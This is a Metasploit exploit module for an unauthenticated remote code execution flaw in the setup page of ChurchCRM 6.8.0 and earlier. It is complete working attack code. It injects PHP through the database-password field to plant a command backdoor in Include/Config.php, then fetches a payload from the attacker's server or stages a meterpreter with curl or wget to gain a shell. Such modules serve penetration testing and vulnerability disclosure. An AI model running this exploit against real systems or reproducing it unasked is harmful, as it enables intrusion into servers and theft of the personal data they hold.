📄 ChurchCRM 6.8.0 Unauthenticated Remote Code Execution

##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = NormalRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::CmdStager
      include Msf::Exploit::Remote::HttpServer
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'ChurchCRM Unauthenticated RCE 6.8.0',
            'Description' => %q{
              This module exploits an unauthenticated remote code execution
              vulnerability in the installation process of ChurchCRM versions
              6.8.0 and earlier. By sending a specially crafted POST request to
              the 'setup' page, an attacker can execute arbitrary commands on the
              target server. This module uploads a meterpreter payload to the
              target server and executes it, allowing for remote code execution.
            },
            'License' => MSF_LICENSE,
            'Author' => ['LucasCsmt'],
            'References' => [
              [ 'GHSA', 'm8jq-j3p9-2xf3'],
              [ 'CVE', '2025-62521']
            ],
            'Platform' => ['linux', 'php'],
            'Targets' => [
              [
                'Linux/unix Command (CmdStager)',
                {
                  'Arch' => [ ARCH_X86, ARCH_X64 ],
                  'Platform' => ['linux'],
                  'Type' => :nix_cmdstager,
                  'DefaultOptions' => {
                    'InitialAutoRunScript' => 'post/multi/general/execute COMMAND="rm Include/Config.php"'
                  },
                  'CmdStagerFlavor' => [
                    'printf', 'echo', 'bourne', 'fetch', 'curl', 'wget'
                  ]
                }
              ],
              [
                'PHP (In-Memory)',
                {
                  'Arch' => [ ARCH_PHP ],
                  'Platform' => ['php'],
                  'Type' => :php_memory,
                  'DefaultOptions' => {
                    'InitialAutoRunScript' => 'post/multi/general/execute COMMAND="php -r \"unlink(\'Include/Config.php\');\""'
                  }
                }
              ],
              [
                'PHP (fetch)',
                {
                  'Arch' => [ ARCH_PHP ],
                  'Platform' => ['php'],
                  'Type' => :php_fetch,
                  'DefaultOptions' => {
                    'InitialAutoRunScript' => 'post/multi/general/execute COMMAND="php -r \"unlink(\'Include/Config.php\');\""'
                  }
                }
              ],
            ],
            'DisclosureDate' => '2025-12-17',
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
            }
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'Base path', '/']),
          ]
        )
      end
    
      # Check if the target is up by accessing the setup page
      def check
        print_status('Checking if the target is reachable...')
    
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'setup', '/')
        })
    
        unless res && (res.code == 301 || res.code == 200 || res.code == 302)
          fail_with(Failure::Unreachable, 'Target is not reachable')
          return Exploit::CheckCode::Unknown('Target setup page is inaccessible')
        end
    
        version = res.headers['CRM-VERSION']
        if version
          print_status("Found ChurchCRM version: #{version}")
          if Rex::Version.new(version) <= Rex::Version.new('6.8.0')
            return Exploit::CheckCode::Appears("Vulnerable version #{version} detected via CRM-VERSION header.")
          else
            return Exploit::CheckCode::Safe("Version #{version} is not vulnerable.")
          end
        end
    
        return Exploit::CheckCode::Appears
      end
    
      # Build the payload that will be into the installation form
      #
      # @return : the payload
      def build_payload
        case target['Type']
        when :php_memory
          b64_payload = Rex::Text.encode_base64(payload.encoded)
          "#{rand_text_alpha(3)}'; eval(base64_decode(\"#{b64_payload}\")); //"
        when :php_fetch
          start_service
          payload_name = '/tmp/' + rand_text_alpha(5..10) + '.php'
          "#{rand_text_alpha(3)}'; $f='#{payload_name}'; file_put_contents($f, file_get_contents('#{get_uri}')); register_shutdown_function('unlink', $f); include($f); //"
        else
          "#{rand_text_alpha(3)}'; system($_GET['cmd']); //"
        end
      end
    
      # Send a POST request to the setup page in order to execute commands
      def alter_config
        print_status('Injecting backdoor into Include/Config.php via setup page...')
    
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'setup', '/'),
          'vars_post' => {
            'DB_SERVER_NAME' => rand_text_alpha(5..10),
            'DB_SERVER_PORT' => '3306',
            'DB_NAME' => rand_text_alpha(5..10),
            'DB_USER' => rand_text_alpha(5..8),
            'DB_PASSWORD' => build_payload,
            'ROOT_PATH' => '/',
            'URL' => "http://#{rand_text_alpha(5..10)}.com/"
          }
        })
    
        msg = 'Failed to inject backdoor into Include/Config.php. ' \
          'This can happen if the setup process has already been ' \
          'completed or if the target is not vulnerable.'
        fail_with(Failure::UnexpectedReply, msg) unless res&.code == 200
      end
    
      # Execute command on the target server
      #
      # @param cmd [String] the command to execute
      def execute_command(cmd, _opts = {})
        send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path),
          'vars_get' => { 'cmd' => cmd }
        })
      end
    
      # Execute PHP code on the target server in order to run the payload
      def execute_php
        print_status('Trying to execute the PHP payload')
    
        send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path)
        })
    
        print_good('PHP payload successfully executed')
      end
    
      # Upload the payload to the target server
      def execute_linux
        print_status('Uploading payload to the target server...')
    
        execute_cmdstager(
          linemax: 500,
          nodelete: false,
          background: true,
          temp: '/tmp'
        )
    
        print_good('Payload uploaded successfully.')
      end
    
      # Handles the incoming HTTP request and serves the payload to the target.
      def on_request_uri(cli, _request)
        p = payload.encoded
        send_response(cli, p, {
          'Content-Type' => 'application/x-httpd-php',
          'Pragma' => 'no-cache'
        })
      end
    
      def exploit
        alter_config
    
        case target['Type']
        when :nix_cmdstager
          execute_linux
        else
          execute_php
        end
      end
    end